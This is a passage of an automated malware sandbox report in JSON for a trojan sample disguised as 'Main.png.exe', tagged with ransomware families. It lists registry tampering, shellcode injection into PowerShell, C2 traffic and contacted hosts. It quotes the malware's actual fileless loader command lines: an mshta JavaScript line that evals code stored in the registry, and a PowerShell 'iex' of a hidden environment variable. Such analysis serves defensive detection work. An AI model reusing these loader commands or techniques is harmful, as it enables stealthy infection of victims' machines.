\"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"DIGITALPRODUCTID\")","origin":"Registry Access","relevance":6,"id":"registry-5","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LoadResource@KERNEL32.dll at 56542-8647-0040189F\n LockResource@KERNEL32.dll at 56542-8913-0041228E\n FreeResource@KERNEL32.dll at 56542-8357-0040C2ED\n LoadResource@KERNEL32.dll at 56542-8869-00410217\n SizeofResource@KERNEL32.dll at 56542-8951-0040D3C1\n FindResourceW@KERNEL32.DLL at 00011881-00004140-11167-37-00402AD0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST / HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 37.114.49.79Content-Length: 380Cache-Control: no-cache\" with no payload\n \"POST / HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)Host: 37.114.49.79Content-Length: 436Cache-Control: no-cache\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates new processes","description":"\"mshta.exe\" is creating a new process (Name: \"\\REGISTRY\\USER\\S-1-5-21-686412048-2446563785-1323799475-1001\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2\\CPC\\Volume\", Handle: 776)\n \"powershell.exe\" is creating a new process (Name: \"%WINDIR%\\SysWOW64\\regsvr32.exe\", Handle: 880)\n \"regsvr32.exe\" is creating a new process (Name: \"\\REGISTRY\\USER\\S-1-5-21-686412048-2446563785-1323799475-1001\\Software\\Microsoft\\Internet Explorer\\Main\", Handle: 484)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Found shellcode in interpreted commandline","description":"$31","origin":"Monitored Target","relevance":10,"id":"target-44","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"$32","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"POST /6b06490d-f9fd-424c-8b6d-83edc4369e89/ HTTP/1.1Cache-Control: no-cacheConnection: ClosePragma: no-cacheContent-Type: application/soap+xmlUser-Agent: WSDAPIContent-Length: 733Host: 192.168.56.153:5357\"\n \"37.114.49.79\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"regsvr32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"regsvr32.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"regsvr32.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"regsvr32.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"regsvr32.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"regsvr32.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"Main.png.exe.bin\" claimed CRC 545503 while the actual is CRC 543151","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegDeleteValueW\n RegCloseKey\n RegEnumKeyExW\n RegEnumKeyW\n RegCreateKeyW\n RegOpenKeyExW\n RegDeleteKeyW\n GetFileAttributesW\n WriteFile\n OutputDebugStringA\n OutputDebugStringW\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n CreateThread\n GetModuleHandleExW\n LoadLibraryW\n VirtualProtect\n LoadLibraryA\n GetFileSize\n GetStartupInfoW\n CreateDirectoryW\n DeleteFileW\n GetFileSizeEx\n FindNextFileW\n FindFirstFileW\n GetProcAddress\n CreateFileW\n LockResource\n GetCommandLineA\n GetModuleHandleA\n GetModuleHandleW\n GetFileAttributesExW\n FindResourceW\n Sleep\n ShellExecuteW\n GetLastActivePopup\n SetWindowsHookExW\n GetWindowThreadProcessId","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$33","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"\" (UID: 00011881-00004140)\n Spawned process \"mshta.exe\" with commandline \"javascript:fgkgK88=\"PKGgx\";b4a=new%20ActiveXObject(\"WScript.Shell\");n5nAK5tL=\"5Y\";U4LEf=b4a.RegRead(\"HKCU\\\\software\\\\cnP9t5ZE\\\\LY2s8GF6\");x6rol1=\"204sG\";eval(U4LEf);N4hwRhlM=\"iO\";\" (UID: 00012677-00003468)\n Spawned process \"powershell.exe\" with commandline \"iex $env:otxpnze\" (UID: 00012863-00004380)\n Spawned process \"regsvr32.exe\" (UID: 00014346-00003588)\n Spawned process \"regsvr32.exe\" (UID: 00014559-00002640)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"Wrote 9 instructions to a remote process \"powershell.exe\" (UID: 00012863-00004380)\n Wrote 11 instructions to a remote process \"powershell.exe\" (UID: 00012863-00004380)\n Wrote 4 instructions to a remote process \"powershell.exe\" (UID: 00012863-00004380)\n Wrote 8 instructions to a remote process \"powershell.exe\" (UID: 00012863-00004380)\n Wrote 7 instructions to a remote process \"powershell.exe\" (UID: 00012863-00004380)\n Wrote 830 instructions to a remote process \"powershell.exe\" (UID: 00012863-00004380)","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"52/64 Antivirus vendors marked sample as malicious (81% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"52/64 Antivirus vendors marked sample as malicious (81% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"malicious","category":"General","name":"Powershell script shows a combination of malicious behavior","description":"Hidden commandline payload with suspicious keywords","origin":"Indicator Combinations","relevance":10,"id":"summary-18","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$34","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"malicious","category":"Network Related","name":"Contacts very many different hosts","description":"Contacted 60 (or more) hosts in at least 14 different countries","origin":"Network Traffic","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: Microsoft-CryptoAPI/6.1\n Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"2.21.242.237\": ...\n File SHA256: 34556c8c014e255c42c4b43c6c5bf3de482d806330de781fa9b8fb67c9b46086 (AV positives: 3/64 scanned on 03/17/2018 00:25:06)\n File SHA256: 6bfb10f93e061cbc914820fc66fc9f1dee91c42a4e3e3ff671a0006b6d8f9f9b (AV positives: 4/66 scanned on 03/16/2018 16:47:00)\n File SHA256: 37de2b0b7b4c1f765b768a17739868f5b39d63b71a3f9776ef0de6e8d43b9bde (AV positives: 3/67 scanned on 03/15/2018 18:38:42)\n File SHA256: f6823f2e61439ca03adc68919e9db0d6ab2ea07b4330b2315d9075b13421a6f8 (AV positives: 3/67 scanned on 03/15/2018 14:02:31)\n File SHA256: a64f8fb943c69ddd438e45ee65ea54543375227fe8a2a300612e84a7bdd1a7d1 (AV positives: 4/66 scanned on 03/15/2018 11:44:18)\n File SHA256: 8c7183cf97b8327c9ab109bfafc87e950b884fd35b90b3f347b5e216d651cf9e (Date: 10/28/2017 13:39:43)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"$35","origin":"Network Traffic","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"$36","origin":"Network Traffic","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1\" (SID: 2018358, Rev: 7, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"malicious","category":"Network Related","name":"Modifies internet zones","description":"\"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONES\\3\"; Key: \"1206\"; Value: \"00000000\")\n \"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONES\\3\"; Key: \"2300\"; Value: \"00000000\")\n \"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONES\\3\"; Key: \"1809\"; Value: \"03000000\")\n \"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONES\\1\"; Key: \"1206\"; Value: \"00000000\")\n \"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONES\\1\"; Key: \"2300\"; Value: \"00000000\")\n \"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONES\\1\"; Key: \"1809\"; Value: \"03000000\")","origin":"Registry Access","relevance":5,"id":"registry-43","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"level":"malicious","category":"System Security","name":"Modifies System Certificates Settings","description":"\"regsvr32.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"27AC9369FAF25207BB2627CEFACCBE4EF9C319B8\")\n \"regsvr32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8\"; Key: \"BLOB\")","origin":"Registry Access","relevance":8,"id":"registry-38","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}],"incidents":[{"name":"Remote Access","details_count":2,"details":[{"detail":"Uses network protocols on unusual ports"},{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the windows installation date"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"}],"sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":29,"imported_dlls_count":170,"dropped_files_count":0,"extracted_files_count":22,"files_written_count":199,"files_deleted_count":0,"registry_keys_created_count":64,"registry_keys_modified_count":0,"registry_keys_deleted_count":10,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":74,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":721,"dns_resolutions_count":5,"contacted_urls_count":9,"http_requests_count":9},"behavior_tags":["kovter","suspicious","cerber","evasive","hyteod","locky","nemucod","petya","ransomware","apt"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5ab389427ca3e170c7137b48","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Agent","contacted_countries":["ARG","AUS","BEL","BRA","CAN","CHE","CHL","CHN","COL","DEU","DNK","DOM","EGY","ESP","EU","FRA","GBR","GEO","GRC","HKG","HUN","IDN","IND","ISL","ITA","JPN","KEN","KOR","LBY","MAR","MEX","NLD","PER","PHL","POL","PRT","RUS","SDN","SRB","SVN","SWE","SYC","TUR","TWN","UKR","USA","VNM","ZAF","ZZZ"],"submit_name":"Main.png.exe","analysis_start_time":"2018-03-22T11:45:55+00:00","indicators_count":{"informative":33,"suspicious":33,"malicious":11},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"59534ad77ca3e14ee302cd82","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Zusy","contacted_countries":["ARE","ARG","AUS","BEL","BGR","BRA","CAN","CHE","CHL","CHN","CIV","CMR","COL","CRI","CZE","DEU","DNK","DZA","EGY","ESP","FRA","GBR","HUN","IDN","IND","IRL","ISR","ITA","JPN","KAZ","KOR","KWT","LUX","MEX","MYS","NLD","NOR","PHL","POL","PRT","RUS","SAU","SVK","SVN","SWE","TWN","USA","VEN","VNM","ZAF","ZZZ"],"submit_name":"da40c167cd75d.png","analysis_start_time":"2017-06-28T08:22:01+00:00","indicators_count":{"informative":20,"suspicious":29,"malicious":15},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"2.20.193.233","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"2.21.242.227","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"92.122.53.41","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"92.122.27.121","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"68.238.65.202","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"167.88.157.238","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"25.245.176.160","port":80,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"185.117.72.90","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"address":"170.32.254.52","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"142.147.236.193","port":8080,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"135.23.21.70","port":80,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"53.199.111.102","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"70.26.38.194","port":80,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"29.183.39.161","port":8080,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"210.43.221.90","port":8080,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"57.214.150.21","port":80,"protocol":"TCP","country":"Belgium","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"112.66.82.209","port":443,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"21.246.53.7","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"2.21.242.237","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"116.20.155.154","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"21.82.153.5","port":8080,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"43.42.7.131","port":80,"protocol":"TCP","country":"Japan","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"172.129.146.156","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"179.249.213.132","port":80,"protocol":"TCP","country":"Brazil","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"54.221.200.77","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"151.201.84.99","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"51.185.120.225","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"25.202.11.179","port":8080,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"102.211.155.224","port":80,"protocol":"TCP","country":"Egypt","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"132.214.244.142","port":80,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"162.249.122.10","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"201.137.40.21","port":80,"protocol":"TCP","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"66.225.197.197","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"66.187.178.142","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"114.87.202.62","port":8080,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"15.43.74.93","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"79.75.16.114","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"8.95.39.112","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"158.232.220.222","port":443,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"188.57.20.12","port":80,"protocol":"TCP","country":"Turkey","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"217.6.168.21","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"173.165.243.186","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"97.144.244.146","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"70.166.109.10","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"76.100.67.214","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"136.116.203.160","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"133.171.38.116","port":80,"protocol":"TCP","country":"Japan","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"218.95.180.125","port":80,"protocol":"TCP","country":"China","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"194.101.206.125","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"96.176.156.112","port":8080,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"174.158.232.163","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"153.225.6.118","port":80,"protocol":"TCP","country":"Japan","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"33.106.188.139","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"63.224.144.235","port":8080,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"address":"19.218.38.183","port":443,"protocol":"TCP","country":"United 